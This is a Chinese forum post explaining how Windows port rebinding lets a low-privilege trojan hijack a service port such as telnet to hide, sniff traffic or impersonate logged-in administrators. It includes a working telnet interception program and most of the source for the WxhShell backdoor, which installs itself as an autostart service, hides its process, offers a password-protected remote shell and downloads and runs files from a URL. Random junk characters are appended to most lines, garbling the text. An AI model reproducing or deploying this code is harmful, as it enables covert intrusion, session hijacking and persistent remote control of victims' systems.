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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i<QDV W9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2#wnJdr6E  
Y{Z&W9U  
  saddr.sin_family = AF_INET; M 8},RR@{  
:5YIoC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u0C:q`;z  
DE(XS zX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j7I=2xnTWu  
5P,&VB8L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }\a#e^-xQ+  
?ANW I8'_j  
  这意味着什么?意味着可以进行如下的攻击: I%T+H[,  
[ 8Ohg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :.:^\Q0  
Iiy5;:CX:q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &;PxDlY5  
-E-#@s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dX[I :,z*  
Q'<AV1<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  , ZsZzZ#  
0=ws)@[I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iI GK "}  
w{ja*F6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2BccE  
+k`L8@a3&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;dIk$_FN  
(5T>`7g8  
  #include J0sD?V|{1~  
  #include {vu\qXmMv  
  #include x@#>l8k?  
  #include    ;&d#)&O"e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]\yIHdcDi  
  int main() !HTOE@  
  { prJd'  
  WORD wVersionRequested; <\229  
  DWORD ret; cU;Bm}U  
  WSADATA wsaData;  A 3 V  
  BOOL val; =!TUf/O-  
  SOCKADDR_IN saddr; k+J3Kl09hM  
  SOCKADDR_IN scaddr; dL42)HP5  
  int err; 1_Yx]%g<  
  SOCKET s; #Xg;E3BM  
  SOCKET sc; P(T-2Ux6  
  int caddsize; F^l1WX6  
  HANDLE mt;  AG(6.  
  DWORD tid;   Vgm*5a6t  
  wVersionRequested = MAKEWORD( 2, 2 ); ^G4YvS(  
  err = WSAStartup( wVersionRequested, &wsaData ); m?S;s ew@5  
  if ( err != 0 ) {  y|LHnNQ  
  printf("error!WSAStartup failed!\n"); XYU5.  
  return -1; \M`qaFan5^  
  } C'#KTp4!1  
  saddr.sin_family = AF_INET; n|5\Q  
   2 ZK]}&yC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "uH>S+%|b  
+C% 6jGGh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ~,lt^@a  
  saddr.sin_port = htons(23); [F<E0rjwM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h&4s%:_4  
  { BA\aVhmx  
  printf("error!socket failed!\n"); [8QK @5[  
  return -1; x%dny]O1;  
  } .fWy\ r0  
  val = TRUE; ::Zo` vP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ` o)KG,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3?o4  
  { Vb,V N?l  
  printf("error!setsockopt failed!\n"); }Uy QGRZ=  
  return -1; 8lQ}-8  
  } Nh\vWAz9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7uR;S:WX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yTZev|ej@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TpU\IQ  
sVyV|!K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >)M{^  
  { /+*"*Br/  
  ret=GetLastError(); ytttF5-  
  printf("error!bind failed!\n"); _xKn2?d8g  
  return -1; UF"%FF  
  } H07\z1?.K  
  listen(s,2); sK2N3 B&6  
  while(1) *OLqr/ yb  
  { R"W}\0k  
  caddsize = sizeof(scaddr); `7/(sX.  
  //接受连接请求 REW[`MBQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =:rg1wo"c  
  if(sc!=INVALID_SOCKET) d:)#-x*h7  
  { f|{iW E2d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dlYpbw}W&<  
  if(mt==NULL) j[U#J  
  { %]+R>+  
  printf("Thread Creat Failed!\n");  sS-dHa  
  break; 8}|et~7!  
  } [=K lDfU=  
  } Znb={hh  
  CloseHandle(mt); R'Jrbe|  
  } SwOW%o  
  closesocket(s); <Kt_ oxK,  
  WSACleanup(); 8?Zhh.  
  return 0; J ?o  
  }   UGAV"0  
  DWORD WINAPI ClientThread(LPVOID lpParam) jR%*,IeB  
  { l*l*5hA  
  SOCKET ss = (SOCKET)lpParam; 4)gG_k  
  SOCKET sc; 1_+ h"LE  
  unsigned char buf[4096]; ~nA k-toJ  
  SOCKADDR_IN saddr; !1l~UB_  
  long num; B|m)V9A%-  
  DWORD val;  \0)jWCK  
  DWORD ret; AR [m+E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0:V /z3?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $cSUB  
  saddr.sin_family = AF_INET; ~P|;Y<?3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]$/oSa/  
  saddr.sin_port = htons(23); nQc,^A)I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >ai,6!  
  { Go%Z^pF3CO  
  printf("error!socket failed!\n"); P) vD?)Q  
  return -1; @1*^ttC  
  } e?W ,D0h  
  val = 100; zM0}(5$m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BA h'H&;V  
  { Uj5-x%~  
  ret = GetLastError(); 6*Z7JiQ 0  
  return -1; gKh*q.  
  } Wk[a|>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B<d=;V  
  { Lap?L/NS  
  ret = GetLastError(); W1REF9i){  
  return -1; SA<\n+>q^  
  } -lo?16w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z|>TkCW6  
  { O h@z<1eYZ  
  printf("error!socket connect failed!\n"); ZVXPp -M  
  closesocket(sc); it}h8:^<  
  closesocket(ss); 5Cdn j  
  return -1; {4S UG o>  
  } k-ZO/yPo  
  while(1) 33~MP;  
  { vm@V5oH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TnQ>v{Rx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T 6D+@i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :'T+`(  
  num = recv(ss,buf,4096,0); `Abd=1nH  
  if(num>0) TdPd8ig8{  
  send(sc,buf,num,0); 5len} ){  
  else if(num==0) ]he~KO[j<  
  break; {8.Zb NEJ  
  num = recv(sc,buf,4096,0);  vm! y2  
  if(num>0) ^os_j39N9  
  send(ss,buf,num,0); t~L4wr{B  
  else if(num==0) Ae7FtJO  
  break; oL]uY5eZoe  
  } ^0zfQu+!  
  closesocket(ss); 0BXr[%{`  
  closesocket(sc); 7L #)yY  
  return 0 ; 2.Z#\6Vj  
  }  N}5  
8-<F4^i_i  
E+Bc>xl@ m  
========================================================== J'2 Yrn  
XHA|v^  
下边附上一个代码,,WXhSHELL Gor 9 &aJ1  
 ;Ci:d*  
========================================================== 43k'96[2d  
k<1i.rh  
#include "stdafx.h" Mst%]@TG  
0f5 ag&  
#include <stdio.h> _S) K+C|@  
#include <string.h> $T K*w8@:  
#include <windows.h> *Hx*s_F  
#include <winsock2.h> K#k/t"r  
#include <winsvc.h> <Z.`X7]Uk  
#include <urlmon.h> LZ)g&A(j?  
UnDCC_ud  
#pragma comment (lib, "Ws2_32.lib") n1; a~0P  
#pragma comment (lib, "urlmon.lib") YH58p&up  
V%4P.y  
#define MAX_USER   100 // 最大客户端连接数 J%"5?)[z  
#define BUF_SOCK   200 // sock buffer !BVCuuM>w  
#define KEY_BUFF   255 // 输入 buffer A _TaXl(  
D zD5n  
#define REBOOT     0   // 重启 yhgGvyD  
#define SHUTDOWN   1   // 关机 3m& r?xZs  
rd&d~R6  
#define DEF_PORT   5000 // 监听端口 oU )(/  
6Mk#) ebM  
#define REG_LEN     16   // 注册表键长度 3chx 4  
#define SVC_LEN     80   // NT服务名长度 b; of9hY  
vk|f"I  
// 从dll定义API r ??_2>Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O`CZwXD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J,,V KA&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vl+UC1M}B>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <U$YJtEK  
Vsi:O7|+ }  
// wxhshell配置信息 7[=G;2<  
struct WSCFG { D,=~7/g  
  int ws_port;         // 监听端口 ~Q=;L>Qd  
  char ws_passstr[REG_LEN]; // 口令 5$+7Q$Gw  
  int ws_autoins;       // 安装标记, 1=yes 0=no #CLjQJ  
  char ws_regname[REG_LEN]; // 注册表键名 ~ ?nn(Q-  
  char ws_svcname[REG_LEN]; // 服务名 s:'>G;p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]+`K\G ^X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |?jgjn&RQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k-&<_ghT \  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A)~ oD_ooQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]?_~QE`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +8ib928E  
D0 k ,8|  
}; Q^<amM!  
waz5+l28  
// default Wxhshell configuration :kcqf,7  
struct WSCFG wscfg={DEF_PORT, Mh3.GpS  
    "xuhuanlingzhe", fahQ^#&d`  
    1, \roJf&O }  
    "Wxhshell", a 7v^o`  
    "Wxhshell", r1q'+i  
            "WxhShell Service", ;4-$C=&  
    "Wrsky Windows CmdShell Service", Ma\%uEgTD  
    "Please Input Your Password: ", ;fV"5H)U\  
  1, gHh (QRA  
  "http://www.wrsky.com/wxhshell.exe", vg?(0Gasm*  
  "Wxhshell.exe" 'O 7:=l  
    }; W`LG.`JW  
q8ZxeMqx%  
// 消息定义模块 ^%%Rf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :)Es]wA#HZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a(IE8:yU`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A]Hz?i  
char *msg_ws_ext="\n\rExit."; |63uoRr  
char *msg_ws_end="\n\rQuit."; 3R$R?^G  
char *msg_ws_boot="\n\rReboot..."; k2lo GvBJ  
char *msg_ws_poff="\n\rShutdown..."; }x$@j  
char *msg_ws_down="\n\rSave to "; C!547(l[  
f }r \  
char *msg_ws_err="\n\rErr!"; >~7XBb08  
char *msg_ws_ok="\n\rOK!"; = ZoNkj/^,  
w9u|E46  
char ExeFile[MAX_PATH]; @fA| y  
int nUser = 0; :xmj42w>^  
HANDLE handles[MAX_USER]; iiuT:r  
int OsIsNt; '%_K"rb  
|H8C4^1Rq  
SERVICE_STATUS       serviceStatus; ekfa"X_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KBi(Ns#+  
X9c<g;  
// 函数声明 jB9~'>JY  
int Install(void); DB|w&tygq  
int Uninstall(void); 2T%sHp~qt  
int DownloadFile(char *sURL, SOCKET wsh); 0 GFho$f  
int Boot(int flag); ?$I9/r  
void HideProc(void); l`6.(6  
int GetOsVer(void); Q<szH1-  
int Wxhshell(SOCKET wsl); +MYrNR.p  
void TalkWithClient(void *cs); Qru&lAYc<  
int CmdShell(SOCKET sock); FW2x  
int StartFromService(void); sJQ~ :p0e  
int StartWxhshell(LPSTR lpCmdLine); H #X*OJ  
VNz? e&>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y$, ++wx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m' j1  
*\+oe+3  
// 数据结构和表定义 2>.b~q@  
SERVICE_TABLE_ENTRY DispatchTable[] = Uv?^qe0=  
{ G{|"WaKW  
{wscfg.ws_svcname, NTServiceMain}, kwww5p ["  
{NULL, NULL} Z9h4 pd  
}; $B9?>a|{A  
FP y}Wc*UA  
// 自我安装 s9Tn|Pm+!\  
int Install(void) t0xE&#4  
{ j,%i.[8S  
  char svExeFile[MAX_PATH]; ',|OoxhbK  
  HKEY key; '9qyf<MlY  
  strcpy(svExeFile,ExeFile); y_Gs_xg  
-=lL{oB1  
// 如果是win9x系统,修改注册表设为自启动 mJ[_q >  
if(!OsIsNt) { Bn.R,B0PL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oFt_ yU-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0%|)=T3Slu  
  RegCloseKey(key); 1NTx?JJfW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%|u1cn~!v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AU}|o0Ur  
  RegCloseKey(key); Mj2Dat`p9  
  return 0; DqI"B  
    } Cnc=GTR i  
  } ~rq:I<5  
} cJSwA&  
else { W?N+7_%'  
Zu~t )W  
// 如果是NT以上系统,安装为系统服务 :vS/Lzk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qauvwAMuX  
if (schSCManager!=0) -J'ked  
{ P uQ  
  SC_HANDLE schService = CreateService wT3D9N.  
  ( {~#01p5  
  schSCManager, (KvN#d 1\  
  wscfg.ws_svcname, ': Ek3'L  
  wscfg.ws_svcdisp, 5ff5M=M  
  SERVICE_ALL_ACCESS, D4@(_6^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gtY7N>e  
  SERVICE_AUTO_START, ojJu a c4  
  SERVICE_ERROR_NORMAL, p2O[r  
  svExeFile, P $r!u%W  
  NULL, RN&8dsreZp  
  NULL, n(n7"+B  
  NULL, W=#jtU`:5  
  NULL, Y_XRf8Sw  
  NULL 8[ ZuVJ]  
  ); rc`Il{~k  
  if (schService!=0) iP9Dr<P  
  { `sv]/8RN  
  CloseServiceHandle(schService); z,!A4ws  
  CloseServiceHandle(schSCManager); 4VA]S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 96gaun J  
  strcat(svExeFile,wscfg.ws_svcname); f7%g=0.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h-m0Ro?6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QdD@[  
  RegCloseKey(key); ep l1xfr  
  return 0; >;s2V_d  
    } @}%kSn5y:  
  } 0'zjPE#  
  CloseServiceHandle(schSCManager); f8f|'v|  
} e&m TaCLG  
} # M Y4Mr  
g,Rh Ut9  
return 1; G+3uY25y  
} pC&i!la{o}  
 |>Pv2  
// 自我卸载 g)<[-Q1  
int Uninstall(void) E /ycPqD  
{ k6;pi=sYNW  
  HKEY key; zHW&i~  
4LJOT_  
if(!OsIsNt) { tK\$LZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X(]J\?n'  
  RegDeleteValue(key,wscfg.ws_regname); g(F2IpUm/  
  RegCloseKey(key); ^w*vux|F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { grDz7\i:  
  RegDeleteValue(key,wscfg.ws_regname); PJh97%7  
  RegCloseKey(key); RS7J~Q  
  return 0; kPnuU!  
  } MR* % lZpB  
} w#sP5qKv8  
} r6+IJxUd  
else { i_$?sg#=yk  
52*KRq o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T zHR  
if (schSCManager!=0) u3PM 7z!~  
{ uD`Z\@Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZB,UQ~!Yr  
  if (schService!=0) 1a#R7chl  
  { {5T:7*J  
  if(DeleteService(schService)!=0) { ( "J_< p  
  CloseServiceHandle(schService); SsIN@  
  CloseServiceHandle(schSCManager); NB&zBJ#  
  return 0; #@L<<Q8}  
  } e" p5hpl  
  CloseServiceHandle(schService); 2-wgbC5  
  } \j vS`+  
  CloseServiceHandle(schSCManager); PE+{<[n  
} R)GDsgXy  
} 0h"uJco,  
#pMpGw$  
return 1; ^aL> /'Y#|  
} A)f/ww)Q  
Ozc9yy!%  
// 从指定url下载文件 E._/PB  
int DownloadFile(char *sURL, SOCKET wsh) V8z*mnD  
{ 'i8?]` T  
  HRESULT hr; x1QL!MB  
char seps[]= "/"; Ns[.guWu-  
char *token; 3WY:Fn+#  
char *file; 5{M$m&$1  
char myURL[MAX_PATH]; ~*G}+Ur$2  
char myFILE[MAX_PATH]; d|$-l:(J  
tqOx8%  
strcpy(myURL,sURL); boIFN;Aq"  
  token=strtok(myURL,seps); wafws*b%  
  while(token!=NULL) DOW Z hD  
  { f.U.(  
    file=token; RS  Vt  
  token=strtok(NULL,seps); BKW%/y"  
  } wRE2rsXoU  
kX'a*AG  
GetCurrentDirectory(MAX_PATH,myFILE); @S  Quc  
strcat(myFILE, "\\"); O:[@?l  
strcat(myFILE, file); #4?:4Im#  
  send(wsh,myFILE,strlen(myFILE),0); m\J" P'=  
send(wsh,"...",3,0); qk\LfRbj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); is=|rY9$  
  if(hr==S_OK) VDPq3`$+v{  
return 0; >qynd'eToR  
else {:BY IdX  
return 1; ]hA]o7 k  
Bd*\|M  
} d Y]i AJ  
[$%0[;jtS  
// 系统电源模块 e#{l  
int Boot(int flag) #'h(o/hz&&  
{ :<E\&6# oC  
  HANDLE hToken; M9sB2Ips<  
  TOKEN_PRIVILEGES tkp; m}fY5r<<;/  
ZfIeq<8 _  
  if(OsIsNt) { <=!|U0YV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7#iT33(3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 {3< `  
    tkp.PrivilegeCount = 1; .1?7)k v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V@1K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OL$^7FB  
if(flag==REBOOT) { T1~,.(#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bR? $a+a)  
  return 0; d`4@aoM  
} {Ng HH]]O  
else { JQWW's}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  .)XJ-  
  return 0; 9w,u4q  
} {:d9q  
  } 1'g{tP"d  
  else { ]%/a'[  
if(flag==REBOOT) { "J6 aU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z6J fu:_N!  
  return 0; Yo#F;s7  
} /w*;|4~Bf  
else { @IwVR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k34!*(`q  
  return 0; Z8Il3b*)  
} s|=.L&"   
} 66~]7w  
]&/KAk  
return 1; z;En Ay{9  
} k/ ZuFTN  
P(BV J_n  
// win9x进程隐藏模块 XZ8;Ow=  
void HideProc(void) N%&D(_  
{ W e*)RXm%  
y:+s*x6Vg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]tVXao  
  if ( hKernel != NULL ) qP0_#l&  
  { &$</|F)y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zx{O/v KG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #GHLF  
    FreeLibrary(hKernel); q#~]Hp=W5  
  } p@7[w@B\c  
%Sdzr!I7*  
return; y 3O Nn~k  
} /M "E5  
K9y!ZoB  
// 获取操作系统版本 Uwqm?]  
int GetOsVer(void) &`'gO 9  
{ (g@e=m7Q  
  OSVERSIONINFO winfo; S qQqG3F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Y8/ZW~D0  
  GetVersionEx(&winfo); lAwOp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y Hv85y  
  return 1; ~=,|dGAa$  
  else cKX6pG  
  return 0; L_rKVoKjt  
} jbqhNsTNK  
,SAS\!hsE  
// 客户端句柄模块 THmX=K4=?  
int Wxhshell(SOCKET wsl) sQS2U6  
{ E5M*Gs  
  SOCKET wsh; fodr1M4J  
  struct sockaddr_in client; [-sE:O`yt  
  DWORD myID; sS$- PX C  
F62arDA  
  while(nUser<MAX_USER) [D H@>:"dd  
{ 7 '@l?u/6  
  int nSize=sizeof(client); jz$)*Kdi*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WQ]~TGW  
  if(wsh==INVALID_SOCKET) return 1; 15r<n  
OwQ 9y<v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BcT|TX+ct  
if(handles[nUser]==0) MQQ!@I`  
  closesocket(wsh); qfY.X&]PU  
else 9b !+kJD  
  nUser++; 'Z7oPq6  
  } sDCa&"6+@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  IjDG  
'lv\I9"S)  
  return 0; M)#R_(Q5{  
} #TUsi,jG  
%&^F.JTt\  
// 关闭 socket 0X)'8N  
void CloseIt(SOCKET wsh) ~"5WQK`@  
{ 8jjJ/Mz`  
closesocket(wsh); z1LATy  
nUser--; +gOCl*L  
ExitThread(0); ;sa-Bh=j^  
} H#G~b""mY  
@)m+O#a  
// 客户端请求句柄 3;j?i<kM  
void TalkWithClient(void *cs) X63DBF4A  
{ 3u7E?*{sH  
/PIU@$DV  
  SOCKET wsh=(SOCKET)cs; y6; '?.Y1  
  char pwd[SVC_LEN]; }qW%=;!  
  char cmd[KEY_BUFF]; 5in6Y5ckj  
char chr[1]; o)?"P;UhJX  
int i,j; RN3w{^Ll  
i<1w*yu  
  while (nUser < MAX_USER) { (>>pla^  
/Yx 1S'5  
if(wscfg.ws_passstr) { :%A1k2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uwWfL32  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 788q<7E  
  //ZeroMemory(pwd,KEY_BUFF); _?@>S7-  
      i=0; d+ih]?  
  while(i<SVC_LEN) { ?i(Tc!  
u3 ?+Hu|*T  
  // 设置超时 *s?&)][  
  fd_set FdRead; XT= #+  
  struct timeval TimeOut; h.4;-&  
  FD_ZERO(&FdRead); f8N  
  FD_SET(wsh,&FdRead); =}r&>|rrJ  
  TimeOut.tv_sec=8; QD<^VY6  
  TimeOut.tv_usec=0; ;myu8B7&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w_,.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |RAi6;  
5]p>& |Ud  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ',6QL4qV/  
  pwd=chr[0]; v[r:1T@  
  if(chr[0]==0xd || chr[0]==0xa) { g;v{JB  
  pwd=0; tJ.LPgfZ  
  break; Si*Pi  
  } p4Vw`i+DnH  
  i++; p`Omcl~Q  
    } yKOf]m>#  
Q-O:L  
  // 如果是非法用户,关闭 socket 2;[75(l6|}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W3*WR,z  
} 1uMnlimr  
w6R=r n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); na  $z\C\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [JMz~~ F  
n?Gm 5##  
while(1) { M29[\@zL  
"@GopD  
  ZeroMemory(cmd,KEY_BUFF); : [aUpX=  
[:g6gAuh,  
      // 自动支持客户端 telnet标准   yn!LJT[~2  
  j=0; 3 {on$\  
  while(j<KEY_BUFF) { fn#b3ee  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :;{U2q+  
  cmd[j]=chr[0]; >\} 2("bv  
  if(chr[0]==0xa || chr[0]==0xd) { JYm@Llf)$  
  cmd[j]=0; &}:Hp9n  
  break; N<Y-]xS  
  } ]wa?~;1^&  
  j++; ^"6xE nA]  
    } go2:D#mf  
1/gY]ghL  
  // 下载文件 aKH\8O4L5  
  if(strstr(cmd,"http://")) { nm %ka4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |;rjr_I  
  if(DownloadFile(cmd,wsh)) 7i 334iQZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /o8`I m   
  else vWe)cJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HewVwD<C  
  } SAThY$)6  
  else { GE~mu76%  
_QY0j%W  
    switch(cmd[0]) { 6prN,*k5  
  ,E)bS7W  
  // 帮助 _a15R/S  
  case '?': { #MGZje,I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tEiN(KA!5  
    break; &z1r$X.AW  
  } _i}6zxqw  
  // 安装 qx0J}6+NlU  
  case 'i': { )_xM)mH  
    if(Install()) Sm+Ek@Ax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /MQd[03]  
    else js8uvZ i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CmJ*oXyi  
    break; g[H7.  
    } mqq~&nI  
  // 卸载 {r'#(\  
  case 'r': { bG.aV#$FIg  
    if(Uninstall()) C@]Z&H;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQM(Lm#Q  
    else gyI5;il~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ix7N q7!N  
    break; "=yaeEp  
    } N<N!it  
  // 显示 wxhshell 所在路径 qr<5z. %  
  case 'p': { <]CO}r   
    char svExeFile[MAX_PATH]; !R)v2Mk|  
    strcpy(svExeFile,"\n\r"); J]N-^ld\\  
      strcat(svExeFile,ExeFile); ,6a'x~y<r  
        send(wsh,svExeFile,strlen(svExeFile),0); h"wXmAf4%  
    break; \P{VJ^) 0  
    } Vs{|:L+  
  // 重启 =UTv  
  case 'b': { FE$)[w,m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S1&6P)X.Za  
    if(Boot(REBOOT)) !n)2HDYhx,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJdlHa{  
    else { @BW~A@8  
    closesocket(wsh); E8FS jLZ  
    ExitThread(0); 5p=T*Y  
    } s\>$ K%!H?  
    break; -f Zm_FE  
    } RE *UIh*O  
  // 关机 ||qsoF5B]  
  case 'd': { (hd2&mSy  
